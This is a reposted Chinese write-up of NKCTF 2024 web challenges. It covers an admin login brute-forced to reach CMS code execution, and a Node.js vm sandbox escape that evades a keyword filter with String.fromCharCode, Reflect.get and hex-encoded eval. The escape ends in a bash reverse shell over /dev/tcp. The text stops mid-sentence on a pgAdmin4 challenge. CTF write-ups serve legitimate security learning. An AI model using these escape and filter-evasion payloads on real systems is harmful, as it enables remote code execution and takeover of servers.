小工具知识网

当前位置: 首页 > 行业知识 > nkctf 2024 web题解

行业知识

nkctf 2024 web题解

2026-11-15 21:30:14 来源:互联网转载

my first cms

admin路由 提示要你登录 爆破可知道账号密码 admin/Admin123 登陆进去

在extensions 的User Tags UA可以编辑执行代码

修改后点击submit保存 然后点击Run运行

代码执行成功,接下来直接获取flag就行

全世界最简单的CTF

/secret查看源码

const express = require('express');const bodyParser = require('body-parser');const app = express();const fs = require("fs");const path = require('path');const vm = require("vm");app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public')))app.get('/', function (req, res){    res.sendFile(__dirname + '/public/home.html');})function waf(code) {    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\|\+|concat|eval|Function)/g;    if(code.match(pattern)){        throw new Error("what can I say? hacker out!!");    }}app.post('/', function (req, res){        let code = req.body.code;        let sandbox = Object.create(null);        let context = vm.createContext(sandbox);        try {            waf(code)            let result = vm.runInContext(code, context);            console.log(result);        } catch (e){            console.log(e.message);            require('./hack');        }})app.get('/secret', function (req, res){    if(process.__filename == null) {        let content = fs.readFileSync(__filename, "utf-8");        return res.send(content);    } else {        let content = fs.readFileSync(process.__filename, "utf-8");        return res.send(content);    }})app.listen(3000, ()=>{    console.log("listen on 3000");})

关键代码

const vm = require("vm");app.post('/', function (req, res){        let code = req.body.code;        let sandbox = Object.create(null);        let context = vm.createContext(sandbox);        try {            waf(code)            let result = vm.runInContext(code, context);            console.log(result);        } catch (e){            console.log(e.message);            require('./hack');        }})

很明显的vm沙箱逃逸,随便去网上找个payload(一定要本地测试可打,因为题目环境没有回显,除非你一次性全部正确)

throw new Proxy({}, {        get: function(){            const cc = arguments.callee.caller;            const p = (cc.constructor.constructor('return process'))();            return p.mainModule.require('child_process').execSync('whoami').toString();        }    })

但我们waf 不允许出现[]、exec、process

process我们有两种方法绕过

一种是 String.fromCharCode 绕过

cc.constructor.constructor('return process')==cc.constructor.constructor(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

第二种我们可以发现他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();

不过这个绕过算是简单的,接下来我们看最难的exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过

推一篇文章nodejs的命令执行绕过的

https://www.anquanke.com/post/id/237032

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到evalconsole.log(Reflect.ownKeys(global))//返回所有函数console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])//拿到eval拿到eval之后,就可以常规思路rce了global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')这里虽然有可能被检测到的关键字,但由于mainModule、global、child_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索3.3 过滤中括号的情况在3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。所以取eval函数的方式可以变成Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))后面拼接上命令执行的payload即可。

说人话 就是根据你提供的对象的键获取到对应的值 是不是和数组的索引有点像呢,我们用他来绕过

throw new Proxy({}, {        get: function(){            const cc = arguments.callee.caller;            const p = (cc.constructor.constructor('return global'))();            const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));            return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");        }    })

成功接收到shell拿到flag

attack_tacooooo

pgAdmin4

账号tacooooo@qq.com

密码tacooooo

登录 然后找到了一篇文章

Shielder - pgAdmin (

上一篇:中国(上海)区块链创新峰会 国研政情·谋定论道:赋能产业

下一篇:服务器西瓜世界怎么用?